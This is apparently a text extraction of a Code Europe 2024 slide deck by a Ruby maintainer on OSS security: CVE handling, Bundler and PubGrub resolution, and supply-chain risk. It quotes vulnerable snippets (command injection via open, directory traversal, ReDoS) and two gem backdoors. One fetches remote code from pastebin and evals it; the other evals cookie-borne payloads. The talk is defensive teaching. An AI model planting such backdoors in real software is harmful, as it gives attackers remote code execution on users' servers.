Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Introduction of Cybersecurity with OSS

Introduction of Cybersecurity with OSS

柴田 博志 @hsbt
2024 年 6 月 11 日
Code Europe 2024
I develop the Ruby programming language, RubyGems, and Bundler, which are package managers for Ruby. Today, I will introduce how to enhance the security of your application using open-source software (OSS) examples from Ruby and RubyGems.

The first topic is CVE (Common Vulnerabilities and Exposures). I have published CVEs many times. But what exactly is a CVE? I'll provide a basic understanding of CVEs and explain how to detect and handle vulnerabilities in OSS.

Next, let's discuss package managers. Package managers play a critical role in the OSS ecosystem. I'll explain how to manage library dependencies in your application.

I'll share insights into how the Ruby and RubyGems core team works to keep our ecosystem safe. By the end of this talk, you'll have a better understanding of how to safeguard your code.


June 10, 2024

More Decks by ANDPAD inc

Other Decks in Programming


  1. $PQZSJHIU˜1SFTFOU"/%1"%*OD What's Ruby? Ruby has various implementation: • Ruby(CRuby) •

    JRuby/TruffleRuby • mruby • ruby.wasm • ...and more Ruby is... A dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is natural to read and easy to write. # Output "I love Ruby" say = "I love Ruby" puts say # Output "I *LOVE* RUBY" say['love'] = "*love*" puts say.upcase # Output "I *love* Ruby" # five times 5.times { puts say }
  2. $PQZSJHIU˜1SFTFOU"/%1"%*OD Key advantage of Ruby class Prime include Enumerable include

    Singleton (snip) def each(ubound = nil, generator = EratosthenesGenerator.new, &block) generator.upper_bound = ubound generator.each(&block) end class Prime include Singleton include Enumerable[Integer] extend Enumerable[Integer] (...) def each: (?Integer? ubound, ? PseudoPrimeGenerator generator) { (Integer) -> void } -> void | (?Integer? ubound, ? PseudoPrimeGenerator generator) -> PseudoPrimeGenerator • Performance Improvement: YJIT written by Rust • Concurrency: Ractor and Fiber Scheduler • Soft Typing: RBS or RBI of sorbet
  3. $PQZSJHIU˜1SFTFOU"/%1"%*OD Our branch strategy Version number and release cycle of

    Ruby We plan to release every Christmas. • 2.7.0: 2019/12/25(EOL) • 3.0.0: 2020/12/25(EOL) • 3.1.0: 2021/12/25 • 3.2.0: 2022/12/25 • 3.3.0: 2023/12/25 • 3.4.0: 2024/12/25(TBD) HEAD ruby_3_3 ruby_3_2
  4. $PQZSJHIU˜1SFTFOU"/%1"%*OD We have a lot of supporter for financial and

    infrastructure Some of companies hire full-time developer for ruby language
  5. $PQZSJHIU˜1SFTFOU"/%1"%*OD What’s CVE CVE is “The Identify number for the

    potential vulnerability issue” by MITRE That’s all. It’s not impact or authority.
  6. $PQZSJHIU˜1SFTFOU"/%1"%*OD Important concept of Attack Surface and Vector Consider Attack

    Surface and Attack Vector Attack Surface Software/System Attack Surface Attack Vector Attack Vector Attack Vector Attacker
  7. $PQZSJHIU˜1SFTFOU"/%1"%*OD What's CIA Triad We should consider what effects CIA

    Triad • Con fi dentiality • Integrity • Availability We will do care CVE for our software with attack surface/vector and CIA https://devopedia.org/information-security-principles
  8. $PQZSJHIU˜1SFTFOU"/%1"%*OD We receive vulnerability report on h1 We have “[email protected]

    for security report. We received buffer overflow, memory leak, escape string etc etc… We’ve been use https://hackerone.com/ruby It has bounty program provided by IBB(The Internet Bug Bounty).
  9. $PQZSJHIU˜1SFTFOU"/%1"%*OD Triage What’s vulnerable with your report? We look the

    following section generally. • Description • PoC of vulnerable code • Impact for users
  10. $PQZSJHIU˜1SFTFOU"/%1"%*OD Example case of vulnerability Regex DoS Directory Traversal OS

    command injection Tempfile.create("/../../home/vagrant/blue") {|f| p f.path} if localfile # Vulnerable code here. If localfile is “| oscommand” string # open method can execute oscommand with old Ruby f = open(localfile, “w") end time ruby -e '/^(a|a)*$/ =~ "a" * 10 + “b"' => 200msec time ruby -e '/^(a|a)*$/ =~ "a" * 30 + “b"' => unresponsive with old Ruby
  11. $PQZSJHIU˜1SFTFOU"/%1"%*OD Triage policy We always consider the followings: • Some

    scam reporter report old vulnerability as copy&paste. We carefully to triage that. • How effect to CIA(Con fi dentiality/Integrity/Availability) • The decision of other language and libraries. We always refer Python and Go and others
  12. $PQZSJHIU˜1SFTFOU"/%1"%*OD Rejected Case • Server/Cloud con fi guration: Allow to

    see DirectoryIndex on our servers • SSL & Certi fi cation con fi guration: weak algorithm is enabled • Report for other projects: Like Rails, Rack or some gems.
  13. $PQZSJHIU˜1SFTFOU"/%1"%*OD Code We are working to resolve the vulnerability with

    private • Discuss with the original reporter • Avoid to lead the another vulnerability or bug
  14. $PQZSJHIU˜1SFTFOU"/%1"%*OD Coordinate • MITRE for assigning CVE • Distribution maintainer

    • RedHat, Debian, etc • Service Provider • AWS, GitHub, CircleCI, etc • Other implementation like JRuby, Truf fl eRuby • Decide to release date
  15. $PQZSJHIU˜1SFTFOU"/%1"%*OD Disclose • Publish announcement • We should write a

    formal information for disclosing vulnerability • We monitor actions by users, distributors and platform services continuously
  16. $PQZSJHIU˜1SFTFOU"/%1"%*OD Disclose We always coordinate to disclose vulnerability to the

    original reporter. After disclosing, we completely fi nished to handle vulnerability with CVE assignment.
  17. $PQZSJHIU˜1SFTFOU"/%1"%*OD Introduction of Lockfile • Ruby has two package manager

    for Ruby library • RubyGems: It’s a package/library for the Ruby programming language. We can install gems from rubygems.org today • Bundler: It is also package manager for the Ruby, It focused version locking and dependency resolution with Gemfile # Gemfile # frozen_string_literal: true source "https://rubygems.org" gem "rss" # Gemfile.lock GEM remote: https://rubygems.org/ specs: rexml (3.2.5) rss (0.2.9) rexml PLATFORMS arm64-darwin-23 DEPENDENCIES rss BUNDLED WITH 2.5.6
  18. $PQZSJHIU˜1SFTFOU"/%1"%*OD What's PubGrub? • PubGrub is next generation resolution engine

    developed by Natalie Weizenbaum a.k.a @nex3. • PubGrub is for Dart language. But we have Ruby implementation that is `pub_grub`. • If resolution conflict occurs with PubGrub, PubGrub give up immediately to resolving loop. This makes faster resolution with complex Gemfile. https://nex3.medium.com/pubgrub-2fb6470504f
  19. $PQZSJHIU˜1SFTFOU"/%1"%*OD Bundler uses PubGrub for dependency resolver source = PubGrub::StaticPackageSource.new

    do |s| s.add 'foo', '2.0.0', deps: { 'bar' => '1.0.0' } s.add 'foo', '1.0.0' s.add 'bar', '1.0.0', deps: { 'foo' => '1.0.0' } s.root deps: { 'bar' => '>= 1.0.0' } end solver = PubGrub::VersionSolver.new(source: source) result = solver.solve p result #=> {#<PubGrub::Package :root>=>0, "bar"=>#<Gem::Version "1.0.0">, "foo"=>#<Gem::Version "1.0.0">} • This is basic scenario of dependency resolution. • We can see Resolution with PubGrub::VersionSolver and package source definition provided by PubGrub.
  20. $PQZSJHIU˜1SFTFOU"/%1"%*OD Easy scenario of PubGrub I want bar-1.0.0 or higher

    bar-1.0.0 foo-1.0.0 foo-2.0.0 • We want to use `bar >= 1.0.0`. bar-1.0.0 wants foo-1.0.0. • We can get resolution result that is `bar-1.0.0` and `foo-1.0.0`.
  21. $PQZSJHIU˜1SFTFOU"/%1"%*OD Conflict scenario of PubGrub source = PubGrub::StaticPackageSource.new do |s|

    s.add 'foo', '2.0.0', deps: { 'bar' => '1.0.0' } s.add 'foo', '1.0.0' s.add 'bar', '1.0.0', deps: { 'foo' => '1.0.0' } s.root deps: { 'foo' => '>= 2.0.0' } end solver = PubGrub::VersionSolver.new(source: source) result = solver.solve p result #=> pub_grub/version_solver.rb:233:in `resolve_conflict': Could not find compatible versions (PubGrub::SolveFailure) • This is conflict scenario of dependency resolution. • If PubGrub couldn't resolve their versions, it raises `SolveFailure`.
  22. $PQZSJHIU˜1SFTFOU"/%1"%*OD Easy scenario of PubGrub I want foo-2.0.0 or higher

    bar-1.0.0 foo-1.0.0 foo-2.0.0 • We want to use `foo >= 2.0.0`. • But foo-2.0.0 wants bar-1.0.0, and bar-1.0.0 wants foo-1.0.0. This is not foo-2.0.0
  23. $PQZSJHIU˜1SFTFOU"/%1"%*OD A bit of complex scenario of PubGrub source =

    PubGrub::StaticPackageSource.new do |s| s.add 'foo', '3.0.0', deps: { 'bar' => '> 1.0.0' } s.add 'foo', '2.0.0', deps: { 'bar' => '1.0.0' } s.add 'foo', '1.0.0' s.add 'bar', '1.0.0', deps: { 'foo' => '1.0.0' } s.add 'bar', '2.0.0' s.add 'buzz', '1.0.0', deps: { 'foo' => '> 1.0.0' } s.root deps: { 'buzz' => '1.0.0' } end solver = PubGrub::VersionSolver.new(source: source) result = solver.solve p result #=> {#<PubGrub::Package :root>=>0, "buzz"=>#<Gem::Version "1.0.0">, "foo"=>#<Gem::Version "3.0.0">, "bar"=>#<Gem::Version "2.0.0">} • This is additional scenario for PubGrub. We have three versions of foo, two versions of bar, and buzz.
  24. $PQZSJHIU˜1SFTFOU"/%1"%*OD A bit of complex scenario of PubGrub I want

    buzz-1.0.0 buzz-1.0.0 foo-1.0.0 foo-2.0.0 foo-3.0.0 bar-1.0.0 bar-2.0.0 This is not foo > 1.0.0 for buzz We want to use buzz-1.0.0, buzz-1.0.0 wants foo > 1.0.0. PubGrub resolve it with foo-2.0.0 or foo-3.0.0, But foo-2.0.0 conflicts with bar-1.0.0.
  25. $PQZSJHIU˜1SFTFOU"/%1"%*OD A bit of complex scenario of PubGrub I want

    buzz-1.0.0 buzz-1.0.0 foo-1.0.0 foo-2.0.0 foo-3.0.0 bar-1.0.0 bar-2.0.0 We finally get buzz-1.0.0, foo-3.0.0 and bar-2.0.0 as resolution result.
  26. $PQZSJHIU˜1SFTFOU"/%1"%*OD Classification of Ruby core library Embedded Class • String

    • Time • ... Standard Library • URI • JSON • RSS • ... Ruby C extension Library • JSON • OpenSSL • ... Pure Ruby Library • URI • FileUtils • ...
  27. $PQZSJHIU˜1SFTFOU"/%1"%*OD History of library volume for Ruby language We bundled

    a lot of library at Ruby 1.8 because we don't have rubygems.org yet. Ruby 1.6 Ruby 1.8 Ruby 2.7 Ruby 3.3 Pure Ruby 63 104 65 56 C extensions 15 26 34 29
  28. $PQZSJHIU˜1SFTFOU"/%1"%*OD Why Embedded Class • String • Time • ...

    Standard Library • URI • JSON • RSS • ... Ruby C extension Library • JSON • OpenSSL • ... Pure Ruby Library • URI • FileUtils • ... Difficult to remove/update this Easy to remove update this Easy to remove/update this and affect with 3rd party libraries
  29. $PQZSJHIU˜1SFTFOU"/%1"%*OD Classification of Standard library in 2024 Embedded Class •

    String • Time • ... Standard Library • URI • JSON • RSS • ... Ruby Standard Libraries • Pure Ruby • mkmf • RbConfig • C extension • Ripper • coverage Default/Bundles Gems • Pure Ruby • URI • RSS • C extension • JSON • Racc
  30. $PQZSJHIU˜1SFTFOU"/%1"%*OD Transition status of default/bundled gems We will reduce Standard

    Library and extract them to default and bunlded gems Ruby 2.7 Ruby 3.3 Ruby 3.4 Ruby 3.5 Standard Library 51 18 18 18 Default gems 48 67 55 45(?) Bundled gems 6 16 28 38(?)
  31. $PQZSJHIU˜1SFTFOU"/%1"%*OD Nebraska problem This figure depicts the existence of open

    source projects that have many bugs, even though they are widely used. https://www.jstage.jst.go.jp/article/abas/21/5/21_0220914a/_pdf
  32. $PQZSJHIU˜1SFTFOU"/%1"%*OD left-pad problem • Left-pad was a tiny NPM package

    with just 11 lines of code. • Surprisingly, many popular libraries like Babel and React depended on this seemingly simple package. • Then, one day, the package was removed from NPM, and chaos ensued. Applications and widely- used open-source infrastructure broke because they couldn’t obtain this dependency. module.exports = leftpad; function leftpad (str, len, ch) { str = String(str); var i = -1; if (!ch && ch !== 0) ch = ' '; len = len - str.length; while (++i < len) { str = ch + str; } return str; }
  33. $PQZSJHIU˜1SFTFOU"/%1"%*OD All of programming language have risk for Nebraska problem

    I want rails-7.0.8 and importmap- rails-1.2.1 rails-0.8.0 activerecord-... rails-7.0.8 ɾ ɾ ɾ importmap-rails-0.1.0 ɾ ɾ ɾ importmap-rails-1.2.1 activemailer-... activesupport-... actionview-... railties-... actionpack-... mini_mime-... mail-... minitest-... tzinfo-... thor-... rake-...
  34. $PQZSJHIU˜1SFTFOU"/%1"%*OD How inject malicious code? def _!; begin; yield; rescue

    Exception; end; end _!{ Thread.new { loop { _!{ sleep rand * 3333; eval( Net::HTTP.get( URI('https://pastebin.com/raw/xa456PFt') ) ) } } } if Rails.env[0] == "p" }
  35. $PQZSJHIU˜1SFTFOU"/%1"%*OD Realcase of malicious code _! { unless ENV["URL_HOST"].to_s.include?("localhost") unless

    defined?(ZZZ) require "openssl" require "base64" public_key = OpenSSL::PKey.read(Base64.urlsafe_decode64("LS0t...(snip)..tCg==")) Rack::Sendfile.prepend Module.new { define_method(:call) { |e| _! { signature, payload, = e["HTTP_COOKIE"].match(/__session=(.+);/)[1].split(",") signature = Base64.urlsafe_decode64(signature) payload = Base64.urlsafe_decode64(payload) if public_key.verify(OpenSSL::Digest.new("sha256"), signature, payload) payload = JSON.parse(payload) if (Time.now.to_i - payload["timestamp"]) <= 60 eval(payload["ruby"]) end end } super(e)
  36. $PQZSJHIU˜1SFTFOU"/%1"%*OD What’s CVE rubygems.org was attacked with pawned password. “My

    RubyGems.org account was using an insecure, reused password that has leaked to the internet in other breaches." https://news.ycombinator.com/item?id=20745768 Typo squatting • activesupport: active-support, active_support, ... • bundler: bandler, bunder, ...
  37. $PQZSJHIU˜1SFTFOU"/%1"%*OD Recent attacks RubyGems team improve the our security level

    like MFA support and invest cybersecurity with supported company like AWS
  38. $PQZSJHIU˜1SFTFOU"/%1"%*OD How we do that? Enable SAST and DAST (Static/Dynamic

    application security test) tools. I recommend to check with `scorecard` cli by OpenSSF at first. $ scorecard --repo=github.com/ruby/ruby https://github.com/ossf
  39. $PQZSJHIU˜1SFTFOU"/%1"%*OD How we do that? Dependency monitoring continuously. RubyGems team

    triage all changes of published gems everyday with diffend.io. You should confirm that or github diff before you deploy new version of dependencies. Ex. hfc 1.8.0 → 2.9.0 https://my.diffend.io/gems/hfc/1.8.0/2.9.0/
  40. $PQZSJHIU˜1SFTFOU"/%1"%*OD How we do that? How do you check the

    security of the open source packages that you use? What security tools do you regularly use when developing open source software? https://www.linuxfoundation.org/research/maintainer-perspectives-on-security
  41. $PQZSJHIU˜1SFTFOU"/%1"%*OD How we do that? Join the security community and

    write secure code. OWASP: https://owasp.org/www-project-top-ten/ https://owasp.org/www-project-developer-guide/release/ OpenSSF: https://github.com/ossf/scorecard Others: https://osv.dev/ https://github.com/rubysec/ruby-advisory-db
  42. $PQZSJHIU˜1SFTFOU"/%1"%*OD Conclusion • I talked about... • The fundamental of

    Cybersecurity like CVE • Package manager and Nebraska problem • How/What we do for Cybersecurity < Ruby is a programmer's best friend